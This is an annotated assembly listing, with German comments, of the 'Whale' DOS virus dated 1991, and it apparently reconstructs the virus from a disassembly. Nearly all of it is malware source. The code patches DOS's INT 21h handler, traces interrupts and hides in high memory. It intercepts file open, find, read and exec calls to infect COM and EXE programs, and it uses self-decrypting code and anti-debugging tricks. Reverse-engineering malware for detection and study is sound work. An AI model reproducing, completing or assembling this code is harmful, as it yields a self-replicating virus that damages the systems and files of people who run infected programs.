;===================================================================== ;===================================================================== ; The WHALE ; ; ; ; Listing erstellt 1991 , R. H”rner , Karlsruhe , FRGDR ; ; ; ;===================================================================== ;===================================================================== code SEGMENT ASSUME CS:code,DS:code,ES:CODE .RADIX 16 ORG 100h ;--------------------------------------------------------------------- ;----------------( Struktur der Entscheidungs-Tabelle fr INT 21h )--- ;--------------------------------------------------------------------- IF_THEN STRUC WENN DB ? DANN DW ? ENDS ;==========================================( Der Decoder-Aufruf )=== MDECODE MACRO Adr CALL DECODE DW @L&adr-L&Adr L&Adr: ENDM ;==========================================( der Coder-Aufruf )=== MCODE MACRO Adr CALL CODEIT DB @L&Adr-L&Adr+1 @L&Adr: ENDM ;--------------------------------------------------------------------- ;--------------------------------------------------( fr Mutanten )--- L04BB5 EQU OFFSET D4BB5 J00000 EQU L04BB5 - Offset Entry J11111 EQU L04BB5 - Offset @INT21 ZweiByte EQU J00000 / 2 DreiByte EQU J00000 / 3 M_Size EQU OFFSET J03AD0-OFFSET J03A84 ;--------------------------------------------------------------------- ;-------------------------------------------( "Mutierende" Makros )--- ;--------------------------------------------------------------------- CALL_INT21 MACRO Adr,adr1 ; Selbst-Relozierend DB 0E8H DW - (LL&ADR + J11111 + 1) LL&ADR EQU $-OFFSET ADR1 ENDM ;--------------------------------------------------------------------- CALL_ENTRY MACRO Adr,adr1 ; Selbst-Relozierend DB 0E8H DW - (CE&ADR + J00000 ) CE&ADR EQU $-OFFSET ADR1 ENDM ;--------------------------------------------------------------------- JMP_ENTRY MACRO Adr,adr1 ; Selbst-Relozierend DB 0E9H DW - (JM&ADR + J00000 ) JM&ADR EQU $-OFFSET ADR1 ENDM ;===================================================================== ;===============================================( zur relozierung )=== ;===================================================================== FirstByte EQU OFFSET @FirstByte-OFFSET VirStart ; 20h CODE_LEN EQU OFFSET LASTCODE-OFFSET @FirstByte ; 2385H CODE_START EQU OFFSET J04BCF - OFFSET @FirstByte ; 239FH ;===================================================================== ;============================================( ver„nderlicher Code)=== ;===================================================================== SwapCode_1 EQU Offset Decode - Offset VirStart ; 0A33h Swapcode_2 EQU OFFSET J03A20 - Offset VirStart ; 1210h Swapcode_3 EQU OFFSET J0491A - Offset J03047 ; 18D3h SwapCode_4 EQU OFFSET J03047 - Offset VirStart ; 0837H SwapCode_5 EQU OFFSET J03259 - Offset VirStart ; 0A49h SwapCode_6 EQU OFFSET J02CFF - Offset VirStart ; 04EFh SwapCode_7 EQU Offset SwitchByte-Offset VirStart; SwapCode_8 EQU Offset Int_02 - Offset VirStart ; 3181h ;===================================================================== ;========================================( einfacher zu schreiben )=== ;===================================================================== XorByte__1 EQU OFFSET D_4A5E - Offset VirStart ; 224Eh XorByte__2 EQU OFFSET D_4A79 - Offset VirStart ; 2269h ;===================================================================== Part_____1 EQU OFFSET D4BAC - OFFSET VirStart ; 239Ch Len_Part_1 EQU OFFSET Lastbyte - Offset D4BAC ; 0054h ;===================================================================== SchwimmZiel EQU OFFSET J029C1 - Offset VirStart ; 01B1h WischeWeg EQU OFFSET D4B7C - Offset VirStart ; 236Ch ;===================================================================== SS_INIT EQU Offset EXE_SS_INIT-Offset VirStart SP_INIT EQU Offset EXE_SP_INIT-Offset VirStart CODE_INIT EQU Offset EXE_CODE_INIT-Offset VirStart ;===================================================================== ;=============================( Sprungtabelle fr Int 21h-Handler )=== ;===================================================================== L0699 EQU Offset J02ea9 - Offset VirStart L04f4 EQU Offset J02D04 - Offset VirStart L06E0 EQU Offset J02EF0 - Offset VirStart L06CA EQU Offset J02EDA - Offset VirStart L08CF EQU Offset J030DF - Offset VirStart L06C8 EQU Offset J02ED8 - Offset VirStart L0996 EQU Offset J031A6 - Offset VirStart L09E4 EQU Offset J031F4 - Offset VirStart L1E5E EQU Offset J0466E - Offset VirStart L1DA2 EQU Offset J045B2 - Offset VirStart L0AD4 EQU Offset J0325D - Offset VirStart L1F70 EQU Offset J04780 - Offset VirStart L1D0F EQU Offset J0451F - Offset VirStart ;===================================================================== ;==============================( wenn ein Debugger erkannt wird...)=== ;===================================================================== IfDebugWal EQU (Offset J04B6A-Offset CreateTempCode+1) / 2 StartDebug EQU Offset CreateTempCode-Offset VirStart ;===================================================================== ;==========================================( Erkl„rung fehlt noch )=== ;===================================================================== @0478 EQU 0478H @FB88 EQU 10000h-@0478 ;===================================================================== ;=================================================( COM-Einsprung )=== ;===================================================================== start: JMP ENTRY ; JMP Decode_Whale DB 00h Whale_ID DW 020CCh ; kennung, daá File infiziert ;===================================================================== DB 2300h-6 DUP (0) ;--------------------------------------------------------------------- ; ; DIESE DATEN WERDEN ZWAR **VOR** DEN CODE ; ASSEMBLIERT, ABER ***HINTER*** DEM CODE ABGELEGT !! ; ; DAS IST DER ***EINZIGE GRUND*** WARUM DIE VIELEN ; NULL-BYTES VOR DEM WAL STEHEN !!! ; ; DER CODE IST Code_len BYTE LANG. ; ; AB OFFSET Code_len DšRFEN ALSO DATEN STEHEN. ; DESHALB GIBT ES AUCH KEINE DATEN, DIE ***VOR*** DIESEM ; OFFSET ABGELEGT WERDEN ! ;==================================================================== ;===========================================( Speichereinteilung )=== ;==================================================================== ; Assemblierungszeit : Zur Laufzeit (resident): ; ; +-CS:0100=DS:0100-+ +--CS:0000-DS:2810-+ <- Segment 9D90h ; | | | Code | ; | Leer | | | ; | | | | ; +-CS:2400=DS:2400-+ +--CS:2400-DS:4C10-+ (DS:4C43=CS:2433!) ; | Daten | | DATEN | ; +-CS:2700=DS:2700-+ +--CS:2700-DS:4F10-+ <--Speicherbedarf ; | Leer | | Grafikkarte | incl. Zugriff auf ; +-CS:2800=DS:2800-+ | | residenten ; | Save-Daten+Code | | | COMMAND.COM ; +-CS:2810=DS:2810-+ | | ; | | | | ; | Code | | | ; | | | | ; +-CS:4c00=DS:4C00-+ +------------------+ ; ;--------------------------------------------------------------------- OFFSET_2400: CodBuf DB 1Ch DUP (?) ; Wirts-File-Beginn / Puffer ;--------------------------------------------------------------------- D241C DB ? D241D DB ? D241E DW ? D2420 DW ? D2422 DW ? D2424 DD ? ; Adresse des exec-param-blocks D2428 DB ? ; Drive des aktuellen Files FileTime DW ? ; File-Uhrzeit FileDate DW ? ; File-Datum Trace_Adres DD ? ; Temp-DD fr Trace-Adresse D2431 DW ? D2433 DB ? ; "1" : Nach Verschluesselung INT 21h ; ausfhren und wieder Entschluesseln. D2434 DB ? Low_INT_21H DD ? ; IBMDOS-Adresse INT 21h @Int_13h DD ? ; Adresse INT 13h D243D DD ? ; Adresse INT 24H PSP_SEG DW ? ; PSP-SEGMENT D2443 DW ? D2445 DW ? D2447 DW ? ; Erster MCB / Tracesegment D2449 DW ? ;--------------------------------------------------------------------- ;--------------------------------------------( wird "JMP CS:2256" )--- ;--------------------------------------------( also "JMP VirInt21")--- D244B DB ? D244C DW ? D244E DW ? ;--------------------------------------------------------------------- D2450 DW ? ; Trace-Kontrollwort D2452 DW 14h DUP (?) D247A DW 14h DUP (?) D24A2 DB ? ; @PSP DW ? ; Aktuelles PSP-Segment FilePos DD ? ; File-Pos FileSize DD ? ; File-Size D24AD DW ? ; Offset des Caller-Lese-Puffers D24AF DW ? ; Anzahl der zu lesenden Byte D24B1 DW ? D24B3 DW ? ; CALLERS - Flags ! D24B5: @FCB DB 25h DUP (?) ; FCB Error DB ? ; ERROR aufgetreten ; 24DA D24DB DW ? D24DD DW ? ; PLatz fr SS D24DF DW ? ; Platz fr SP D24E1 DW ? D24E3 DW ? ; Platz fr AX D24E4 DW ? ;--------------------------------------------------------------------- D24E6 DW ? ; Caller-IP ? D24E8 DW ? ; Caller-CS ? D24EA DW ? ; Returnadresse zwischen Push/Pop D24EC DW ? ; D24EE DB ? D24EF DB ? ;--------------------------------------------------------------------- D24F0 DB ? EPB DB ? ; Start EPB D24F2 DW ? ; File-Attribut D24F4 DW ? ; Offset Filename / ASCIIZ D24F6 DW ? ; Segment Filename / ASCIIZ D24F8 DW ? ; D24FA DW ? ; D24FC DW ? D24FE DB ? ;--------------------------------------------------------------------- D24FF DW ? ; SP-init D2501 DW ? ; SS-init D2503 DW ? ; IP-init D2505 DW ? ; CS-init ;--------------------------------------------------------------------- Cmd_Line DB 50H dup (?) ; command-line ;--------------------------------------------------------------------- D2557 DW ? ; Orig.SP D2559 DW ? ; Orig.SS Vir_SP DW ? ; Vir. SP D245D DW ? D245F DB ? D2560 DW ? ; Platz fr AX D2562 DW ? ; Platz fr BX D2564 DW ? ; Platz fr CX ;-------------------------------( als virtuelle Code-Area genutzt )--- @INT21 DD ? ; ADRESSE Original INT 21H D256A DW ? D256C DW ? D256E DW ? ;-------------------------------------------( wird "JMP CS:2273" )--- ;-------------------------------------------( also "JMP VirInt09" )--- D2570 DB ? D2571 DW ? D2573 DW ? ;--------------------------------------------------------------------- D2575 DW ? ; SAVE SI D2577 DW ? ; SAVE DI D2579 DW ? ; SAVE AX D257B DW ? ; SAVE DS D257D DW ? ; SAVE ES D257F DW ? ; SAVE CX ;--------------------------------------------------------------------- D2581 DW ? ; SAVE BX INT_09 DD ? ; Original INT 09 D2587 DB ? ; wird bei J02975 geschrieben D2588 DW ? D258A DW ? InfectFlag DB ? ; "1" nach der ersten Infektion D258D DB ? D258E DW ? ; Platz fr Flags ;--------------------------------------------------------------------- D2590 DW ? ; SAVE DX @INT02 DD ? ; Originaler INT 02 TrashFlag DB ? ; "1" : Statt einer Infektion, ; wird Trash weggeschrieben D2597 DB ? D2598 DW ? ; hier kommt z.B. "HLT" hin... D259A DW ? ; ;--------------------------------------------------------------------- D259C DD ? D25A0 DB 160h DUP (0) D2700: ; VIRUS-STACK -^^^ ;--------------------------------------------------------------------- DB 100 DUP (0) J02801: DB 0 J02802: DB 0 J02803: DB 0 J02804: DB 0 J02805: DB 0 J02806: DB 0 J02807: DB 0 ;--------------------------------------------------------------------- J02808: MOV AH,4Ch ; main() :-))) MOV AL,[ErrorCode] INT 21 ErrorCode DB 00h ;--------------------------------------------------------------------- ; Hier beginnt WHALE ;--------------------------------------------------------------------- VIRSTART: DB 00h ;02810 J02811: JMP Decode_Whale ;===================================================================== ;======( Puffer fr die ersten 1Ch Byte des infizierten Programmes)=== ;===================================================================== EXE_ID: DW 04CB4H ; 'MZ' / MOV AH,4C EXE_LastBytes: DW 021CDH ; Lastbytes / INT 21 EXE_Pages: DW 0 ; Pages EXE_Rel_Count DW 0 ; Reloc-Count EXE_Paras: DW 0 ; Headerpara EXE_MinFree: DW 0 ; minfree EXE_MaxFree: DW 0 ; maxfree EXE_SS_INIT: DW 0 ; ss-init EXE_SP_INIT: DW 0 ; sp-init EXE_ByteSum: DW 0 ; bytesum EXE_CODE_INIT: DD 0 ; ip-init, cs-init EXE_Reloc_Ofs: Dw 0 ; reloc-offset EXE_Ovl_Num: DW 0 ; ovl-num ;--------------------------------------------------------------------- @FIRSTBYTE: ;<----------------( erstes Byte im oberen Segment )--- EXE_FLAG DB 0 ; "1" : EXE-FILE ;===================================================================== ;==================================( erster CALL nach Dekodierung )=== ;==================================( 'echter' Einsprung )=== ;===================================================================== Offset_2831: ENTRY: CALL J0288E ;--------------------------------------------------------------------- Vir_NAME: DB "THE WHALE" ;--------------------------------------------------------------------- DB 0ffh db 036h db 0c7h ;----------------------------------------------------------(trash?)--- PUSH ES J02842: PUSH BX INC WORD Ptr DS:[0458h] ; evtl Cursor-Loc auf JNZ J0284C ; page 5 (??!??) JMP J02A4F ; -> Nirwana ;====================================================()=============== J0284C: MOV AX,CS:[BX] ADD BX,+02h J02852: JZ J0287E ; = RET nach altem BX ADD CS:[BX],AX LOOP J0284C POP BX DB 9fh,06h ;===================================================================== ;==================( folgender Code wird an Adresse 2566h erzeugt )=== ;===================================================================== ;@INT21: DW 2568h ; fr "call word ptr [@int21]" ;D2568: PUSHF ; CALL FAR CS:[Low_INT_21H] ; CALL OLD INT 21 ; RET ;--------------------------------------------------------------------- CreateTempCode: MOV Word Ptr DS:[@INT21 ],Offset @INT21+2 POP BX MOV WORD Ptr DS:[@INT21+2],2E9Ch ADD BX,+02h ; SIC ! MOV WORD Ptr DS:[D256A],1EFFh MOV WORD Ptr DS:[D256C],OFFSET Low_INT_21H PUSH BX MOV WORD Ptr DS:[D256E],00C3h J0287E EQU $-1 ; zeigt auf "RET" MOV WORD Ptr DS:[Vir_SP],2700h EIN_RETURN: RETN ; RETURN 2 Byte weiter ;===================================================================== ;---------------------------------------------------------( Trash )--- J02887: PUSH CX MOV CX,CS:[BX] DB 2eh,8bh,1Eh ;===================================================================== ;====================================( Teil-Initialisierung von SI)=== ;====================================( IRET fhrt nach J02983 )=== ;====================================( Wird als erstes ausgefhrt )=== ;===================================================================== J0288E: POP BX ADD BX,OFFSET J02983-Offset Vir_NAME PUSHF PUSH CS PUSH BX MOV SI,BX ; BX = SI = 2983h IRET ;---------------------------------------------------------( Trash )--- DB 0E9h,031h,002h,0ffh,0b4h,029h DB 001h,059h,02eh,0ffh,007h,02eh DB 023h,037h,05fh,0f3h,0a4h,0EBh ;==================================================================== J028AB: PUSH DS ; altes DS auf Stack PUSH CS POP DS CALL CreateTempCode ; Return ist 1 word weiter ! ;-------------- DW 58EAh ;-------------- ;===================================================================== ;==================================================( Code-Patcher )=== ;===================================================================== ; BX zeigt auf J03047 ; aus "CMP BX,SI" ; wird ; J03074: XOR CS:[SI],BX ; NOP ; RET ;--------------------------------------------------------------------- ; J028B3: MOV BX,OFFSET J03047-Offset VirStart XOR WORD Ptr DS:[BX],0EF15h ADD BX,+02h XOR WORD Ptr DS:[BX],4568h MOV SI,OFFSET J0491A-OFFSET VirStart POP DS ; Altes DS zurck CALL PATCH ; Gleich ausfhren ! ;===================================================================== ;======================================( WAL ist jetzt erst scharf)=== ;===================================================================== AFTER_PATCH: MDECODE 1 CALL StopINT_02 MOV CS:[D24E3],AX MOV AH,52h ; sic ! MOV CS:[PSP_SEG],DS INT 21 MOV AX,ES:[BX-02h] ; Hole ersten MCB ! MOV CS:[D2447],AX PUSH CS POP DS MOV AL,21h CALL GetInt_AL MOV WORD PTR DS:[Trace_Adres+2],ES ; Get INT 21h MOV WORD PTR DS:[Trace_Adres ],BX MOV DX,Offset Int_01_entry-Offset VirStart MOV AL,01h MOV BYTE Ptr DS:[D2450],00h ; keinen bergehen CALL SetInt_AL ; SET INT 01 MCODE 1 ;===================================================================== ;===================================================(TRACE INT 21h)=== ;===================================================================== MDECODE 2 ;----------------------------- PUSHF POP AX OR AX,0100h ; Tf ein PUSH AX POPF ;----------------------------- PUSHF MOV AH,61h CALL DWORD PTR DS:[Trace_Adres]; TRACE INT 21 ;----------------------------- PUSHF POP AX AND AX,0FEFFh ; TF aus PUSH AX POPF ;----------------------------- LES DI,DWORD PTR DS:[Trace_Adres] ; Old int 21h ;----------------------------- ; Erzeugt JMP CS:2256/J04A66 ;----------------------------- MOV WORD PTR DS:[Low_INT_21H+2],ES MOV BYTE Ptr DS:[D244B ],0EAh MOV WORD Ptr DS:[D244C ],2256h MOV WORD PTR DS:[Low_INT_21H ],DI MOV WORD PTR DS:[D244E ],CS ;----------------------------- CALL J0298D CALL Patch_IBMDOS MCODE 2 CALL Wal_Ins_MEMTOP_Kopieren ;===================================================================== ; Wal entschwindet zur Speicherobergrenze, husch ..... ;##################################################################### ; ;##################################################################### ;===================================================================== ;====================================( PATCHT INT 09-Verarbeitung )=== ;===================================================================== INT_09_Patch: MDECODE 3 PUSH BX PUSH ES MOV AL,09h ; GET INT 09 CALL GetInt_AL MOV WORD PTR CS:[INT_09+2],ES MOV WORD PTR CS:[INT_09 ],BX MOV BYTE PTR CS:[D2570],0EAh ; PATCHE "JMP CS:2273" MOV WORD PTR CS:[D2573],CS ; INS SCRATCHPAD MOV WORD PTR CS:[D2571],Offset J04A83-Offset VirStart ; = JMP CS:4A83 CALL Patch_INT_09 POP ES POP BX J02975: MOV BYTE PTR CS:[D2587],00h MCODE 3 RETN ;------------------------------ DW 027E9H DW 0EA1Ah ;===================================================================== ;============================================( Get Virstart in SI )=== ;===================================================================== J02983: SUB SI,OFFSET J02983 - Offset VirStart JMP J02F15 ; SI ist jetzt 2810h ;===================================================================== DB 089h,0F3h,0E8H ;===================================================================== ;=========================================( Get INT 2F and INT 13 )=== ;===================================================================== J0298D: MDECODE 4 MOV AL,2Fh ; GET INT 2F CALL GetInt_AL MOV BX,ES CMP CS:[D2447],BX JNB J029BC CALL Trace_int_13h MOV DS,WORD PTR CS:[Trace_Adres+2] PUSH WORD PTR CS:[Trace_Adres ] POP DX ; DS:DX MOV AL,13h CALL SetInt_AL ; SET INT 13 XOR BX,BX MOV DS,BX ; DS = 0 MOV BYTE Ptr DS:[0475h],02h ; Number of Hard-Drives J029BC: MCODE 4 RETN ;===================================================================== ;==========================( Erste Routine, die im Oberen Speicher)=== ;==========================( ausgefhrt wird. )=== ;==========================( AB JETZT ist Offset 2810h = OFFSET 0 )=== ;===================================================================== J029C1: MDECODE 5 CALL Patch_IBMDOS ; Original wiederherstellen MOV CS:[D244E],CS ; JMP CS:2256 korrigieren.. ; ist jetzt bei 4A66 ... CALL Patch_IBMDOS ; und wieder Patchen PUSH CS POP DS PUSH DS POP ES ; ES=DS=CS CALL INT_09_Patch ; Patche INT 09 MOV BYTE Ptr DS:[InfectFlag],00h CALL Re_SET_Int_02 MOV AX,[PSP_SEG] MOV ES,AX LDS DX,ES:[000Ah] ; INT 22h in DS:DX MOV DS,AX ADD AX,0010h ADD CS:[OFFSET EXE_Reloc_Ofs-Offset VirStart],AX CMP BYTE PTR CS:[OFFSET EXE_FLAG-OFFSET VIRSTART],00h ; IST ES EIN EXE ?? STI MCODE 5 JNZ J02A2E ;===================================================================== ;================================( restore Code-Start im alten CS )=== ;===================================================================== MDECODE 6 MOV AX,CS:[Offset EXE_ID-Offset VirStart ] MOV WORD PTR DS:[0100h],AX MOV AX,CS:[Offset EXE_ID-Offset VirStart+2] MOV WORD PTR DS:[0102h],AX MOV AX,CS:[Offset EXE_ID-Offset VirStart+4] MOV WORD PTR DS:[0104h],AX PUSH CS:[PSP_SEG] ; PUSH Start-Segment XOR AX,AX INC AH PUSH AX ; AX = 100h MOV AX,CS:[D24E3] MCODE 6 RETF ; == JMP PSP_SEG:100H == COM-START ;===================================================================== ;=============================================( JMP zum EXE-Start )=== ;===================================================================== J02A2E: MDECODE 7 ADD CS:[SS_INIT],AX MOV AX,CS:[D24E3] MOV SP,CS:[SP_INIT] J02A41: MOV SS,CS:[SS_INIT] MCODE 7 JMP DWORD PTR CS:[CODE_INIT] ;=========================================================(trash !)=== J02A4F: PUSH AX MOV AX,0000h MOV DS,AX POP AX MOV BX,Word ptr CS:[06C7h] ; CS:2ED7 = E3CB MOV Word Ptr DS:[000CH],BX ; INT 3 setzen ! MOV Word Ptr DS:[000EH],CS DB 0E8h ; CALL 5DBA ?!? ;===================================================================== ;==============================================( TRACE-ROUTINE )====== ;===================================================================== J02A63: PUSH BP XOR BX,BX MOV BP,SP MOV DS,BX AND WORD Ptr [BP+06h ],0FEFFh ; ? Change Flags ? MOV Word Ptr DS:[0004h],AX MOV Word Ptr DS:[000Eh],CS ; SET INT 3 SEGMENT MOV Word Ptr DS:[000Ch],SI ; SET INT 3 OFFSET CALL J02CD8 ; Kein Return, sondern ; sowas wie 'IRET' ;===================================================================== J02A7D: ;======================================================( Trash ???)=== DB 0E9h,0f2h,0eh DB 0BEh ;02A80 DB 0BBh ;02A81 DB 0ABh ;02A82 DB 0EBh ;02A83 DB 0EFh ;02A84 DB 0AFh ;02A85 DB 0BBh ;02A86 DB 0EFh ;02A87 DB 2 DUP (0ABh) ;02A88 DB 2 DUP (0BFh) ;02A8A DB 0EFh ;02A8C DB 0ABh ;02A8D DB 0EBh ;02A8E DB 2 DUP (0ABh) ;02A8F DB 0BFh ;02A91 DB 0EBh ;02A92 DB 0EFh ;02A93 DB 0EBh ;02A94 DB 2 DUP (0ABh) ;02A95 DB 0FBh ;02A97 DB 0ABh ;02A98 DB 0EBh ;02A99 DB 0BFh ;02A9A DB 0BBh ;02A9B DB 0BFh ;02A9C DB 0ABh ;02A9D DB 0EBh,2Eh,80h,0fh DB 0abh,0e2h,0f9h ;===================================================================== ;---( Hier wird der Code neu reloziert, so daá Virstart zum )--- ;---( Offset 0 wird. Dazu wird das neue Codesegment errechnet und )--- ;---( sp„ter ber RETF angesprungen. Die Routine muss ausgefhrt )--- ;---( werden, bevor der Code scharf gemacht wird. Der Patcher )--- ;---( geht vom neuen Codesegment aus. )--- ;===================================================================== Relokator: CALL DecodeFollowingCode J02AA8: xor sp,sp ; Stack verwerfen ! call L2AAD L2AAD: mov bp,ax ; AX = 0 mov ax,cs mov bx,0010H mul bx ; AX = CS * 16 pop cx ; CX = Offset L2AAD sub cx,OFFSET L2AAD-OFFSET VIRSTART ; CX = Offset L2AAD - 29D ; = Offset VirStart = 2810h add ax,cx ; DX:AX := CS*10+2810 adc dx,0000 ; div bx ; DX:AX := CS+281 push ax ; Ergebnis auf Stack, ; (== Segment Returnadresse ) mov ax,Offset J028AB-Offset VirStart ; Offset Returnadresse ; (CS+281h):09Bh push ax mov ax,bp ; AX = 0 call VersteckeCodeWieder J02ACC: retf ; RETURN nach CS:28AB, immer ! ;===========================================================(trash)=== J02ACD: DB 0B4h,03 ; MOV AH,03h DB 8bh,0D8h ; MOV BX,AX DB 0E9H ; JMP J02BBC ;===================================================================== ;=============================================( Setzen von INT 01 )=== ;===================================================================== J02AD2: CALL J02AD5 J02AD5: POP BX ; BX = 2AD5 SUB BX,OFFSET J02AD5-OFFSET J02A63 ; BX = 2A63 PUSH BX ; POP WORD PTR DS:[0004h] ; INT 01 Offset = 2A63 PUSH CS POP WORD PTR DS:[0006h] ; INT 01 Segment= CS PUSH CS J02AE4: POP AX OR AX,0F346h ; SET TF PUSH AX POPF J02AEA: XLAT ; MOV AL,[BX+AL] MOV BH,AL ; MOV AL,[2AA9+x] ADD BX,CX J02AEF: JMP J047B1 ;=========================================================( trash )=== MOV AX,[BX ] MOV BX,[BX+SI] XOR AX,AX MOV DS,AX JMP J02AE4 ;===================================================================== ;==========================( wird von INT 3 / INT 21h angesprungen)=== ;===================================================================== J02AFB: MDECODE 8 push bx mov bx,sp mov bx,ss:[bx+06] ; HOLE Flags vom Caller-Stack mov cs:[D24B3],bx ; und merke sie pop bx push bp ; BP bleibt auf Stack mov bp,sp call StopINT_02 call SaveRegisters call Patch_IBMDOS call GetRegsFromVirStack call PUSHALL MCODE 8 ;===================================================================== ;=====================( sucht zu Wert in AL den passenden Handler )=== ;===================================================================== GetHandler: MDECODE 9 CALL PushALL MOV WORD PTR CS:[D2598],OFFSET J02B8B-Offset VirStart MOV BX,Offset J02B45-Offset VirStart MOV CX,000Fh J02B38: CMP CS:[BX],AH JZ J02B72 ADD BX,+03h LOOP J02B38 JMP J02B7B ;===================================================================== J02B45: ;=================================( Tabelle )========= if_then <00fh,L0699> ; 2EA9 ; open FCB if_then <011h,L04F4> ; 2D04 ; Findfirst FCB if_then <012h,L04F4> ; ; Findnext FCB if_then <014h,L06E0> ; 2EF0 ; Read Seq. FCB if_then <021h,L06CA> ; 2EDA ; Read Random FCB if_then <023h,L08CF> ; 30DF ; Get Filesize FCB if_then <027h,L06C8> ; 2ED8 ; Read Rndm Block FCB if_then <03dh,L0996> ; 31A6 ; OPEN FILE / HANDLE if_then <03eh,L09E4> ; 31F4 ; CLOSE File / Handle if_then <03fh,L1E5E> ; 466E ; READ File / Handle if_then <042h,L1DA2> ; 45B2 ; SEEK / Handle if_then <04Bh,L0AD4> ; 325D ; EXEC if_then <04Eh,L1F70> ; 4780 ; FindFirst ASCIIZ if_then <04Fh,L1F70> ; 4780 ; FindNext ASCIIZ if_then <057h,L1D0F> ; 451F ; Set/Get Filedate ;===================================================================== J02B72: INC BX PUSH CS:[BX ] POP CS:[D2598] ; Adresse in D2598 J02B7B: CALL PopALL J02B7E: MCODE 9 JMP CS:[D2598] ; Springe zu [2598] ;================================================================()=== J02B87: PUSH SI ; ?!?!?! JMP J0491B ;===================================================================== ;==========================================( Low-INT-21h aufrufen )=== ;===================================================================== J02B8B: JMP J048F3 ;=========================================================( trash )=== DB 043h,041h,031h,00fh,039h,00fh,077h ;===================================================================== ;================================================( Beendet Int21h )=== ;===================================================================== IRET_Int21h: MDECODE 10 CALL SaveRegisters CALL Patch_IBMDOS CALL GetRegsFromVirStack J02BA3: MOV BP,SP PUSH CS:[D24B3] ; PUSH Flags nach IRET POP [BP+06] ; POP Flags ---"---- POP BP CALL Re_SET_Int_02 MCODE 10 IRET ;===================================================================== J02BB6: DB 0D7h,03Ch,0FFh,075h ;===================================================================== ;=============================================( Pop alle Register )=== ;===================================================================== ; ---------------- hilfsweise eingefgt : ; J02BB6: XLAT ; CMP AL,0FFh ; JZ J02BA3 ; XCHG AL,BYTE PTR DS:[0C912H] ; MUELL !!! ; JMP J02BBF ; ---------------- hilfsweise eingefgt : ; J02BBC: PUSH ES ; ADC CL,CL ; JMP J02BBF ; ---------------- Ende einfgung ;===================================================================== ;=============================================( Pop alle Register )=== ;===================================================================== J02BBC EQU $+2 PopALL: MDECODE 11 J02BBF: POP CS:[D24EA] POP ES POP DS POP DI POP SI POP DX POP CX POP BX POP AX POPF MCODE 11 JMP CS:[D24EA] ;===================================================================== DB 0F6h ;===================================================================== ;==========================( Holt alle Register aus dem Vir-Stack )=== ;===================================================================== GetRegsFromVirstack: MDECODE 12 MOV Word Ptr CS:[D2557],SP MOV Word Ptr CS:[D2559],SS PUSH CS POP SS MOV SP,Word Ptr CS:[Vir_SP] CALL CS:PopALL MOV SS,Word Ptr CS:[D2559] MOV Word Ptr CS:[Vir_SP],SP MOV SP,Word Ptr CS:[D2557] MCODE 12 RETN ;===================================================================== DB 0BEh ;02C05 DB 0AFh ;02C06 DB "4" ;02C07 DB 0Eh ;02C08 DB "[SZR" ;02C09 DB 8Fh ;02C0D DB 06h ;02C0E ;===================================================================== ;========( 2c0f )=======================( Patcht INT 21 in IBMDOS )=== ;===================================================================== Patch_IBMDOS: MDECODE 13 ;--------------------------------------------------------------------- MOV SI,Offset D244B LES DI,CS:[Low_INT_21H] PUSH CS POP DS CLD MOV CX,0005h ; Tauscht 5 Byte im DOS aus gegen ; einen FAR-JMP zur Wal-Routine ! J02C22: LODSB XCHG AL,ES:[DI] MOV [SI-01h],AL INC DI LOOP J02C22 MCODE 13 RETN ;=====================================================( trash ?!? )=== J02C31: XOR AX,CX INC BX OR ES:[BX],AX LOOP J02C31 MOV BX,CX DB 0E8h ;... trash ! ;===================================================================== ;============================================( pusht alle register)=== ;===================================================================== PushALL: MDECODE 14 POP CS:[D24EA] PUSHF PUSH AX PUSH BX PUSH CX PUSH DX PUSH SI PUSH DI PUSH DS PUSH ES MCODE 14 JMP CS:[D24EA] ;===================================================================== ;========================================( setzt INT 01 auf Tracer)=== ;===================================================================== SetInt_01: MDECODE 15 MOV AL,01h PUSH CS POP DS MOV DX,Offset Int_01_entry-Offset VirStart CALL SetInt_AL ; SET INT 01 MCODE 15 RETN ;===================================================================== ;===========================( setzt INT ( nummer in AL) auf DS:DX )=== ;===================================================================== SetInt_AL: MDECODE 16 PUSH ES PUSH BX XOR BX,BX MOV ES,BX MOV BL,AL SHL BX,1 SHL BX,1 MOV ES:[BX ],DX MOV ES:[BX+02h],DS POP BX POP ES J02C88 EQU $+2 MCODE 16 RETN ;===================================================================== ;==============================(sichert Register auf eigenem Stack)=== ;===================================================================== SaveRegisters: MDECODE 17 MOV CS:[D2557],SP MOV CS:[D2559],SS PUSH CS POP SS MOV SP,CS:[Vir_SP] CALL CS:PUSHALL MOV SS,CS:[D2559] MOV CS:[Vir_SP],SP MOV SP,CS:[D2557] MCODE 17 RETN ;===================================================================== ;==============================( holt INT ( nummer AL ) nach ES:BX)=== ;===================================================================== GetInt_AL: MDECODE 18 PUSH DS PUSH SI XOR SI,SI MOV DS,SI XOR AH,AH MOV SI,AX SHL SI,1 SHL SI,1 MOV BX,[SI] MOV ES,[SI+02h] POP SI POP DS MCODE 18 RETN ;===================================================================== ;=========================( Zweiter Teil der Trace-Routine J02A63 )=== ;===================================================================== J02CD8: POP AX ; AX = 2A7Dh J02CDA EQU $+1 ; = INC SI ; OR [BX],AL ; XCHG BX,[BP+08h] , usw. ADD WORD Ptr [BP+08h],+07h ; Change IP after IRET ?? XCHG BX,[BP+08h] MOV DX,BX XCHG BX,[BP+02h] SUB SI,@0478 ; = ADD SI,@FB88 MOV BX,SI ; ADD BX,SwapCode_6 ; 04EFh POP BP ; Original BP aus Trace-Routine ; J02A63 PUSH CS:[SI+SwapCode_8] ; dort steht "E9CF" POP AX ; AX = "E9CF" XOR AX,020Ch ; AX = "EBC3" MOV CS:[BX],AL ; PATCHT INT 3 WEG : INT 3 -> RET ; Spielt aber gef„hrlich mit der Queue, ; kein Wunder, dass das Teil auf ATs ; nicht funktioniert... ADD AX,020Ch ; AX = EDCF ;********************************************************************* CALL EIN_RETURN ;************ Eingefgt ********************** ;********************************************************************* J02CFF: INT 3 ; -> RET ; ABER RET [SP+2] !!!!! ; das heisst : Ende der Trace-Routine ; ist hier. ;===================================================================== J02D00: JMP J02D60 DB 0EBh ;===================================================================== ;====================( Handler fr Findfirst/Findnext FCB / AH=11 )=== ;===================================================================== J02D04: MDECODE 19 CALL PopALL CALL CS:[@INT21] ; CALL INT 21H OR AL,AL MCODE 19 JZ J02D1C JMP IRET_Int21h ;------------------ J02D1C: MDECODE 20 CALL PushALL CALL GetDTA MOV AL,00h CMP BYTE Ptr DS:[BX],0FFh ; Extended FCB ? JNZ J02D34 MOV AL,[BX+06h] ; dann Attribut -> AL ADD BX,+07h ; und zum Normalen FCB J02D34: AND CS:[D24F0],AL ; TEST BYTE Ptr 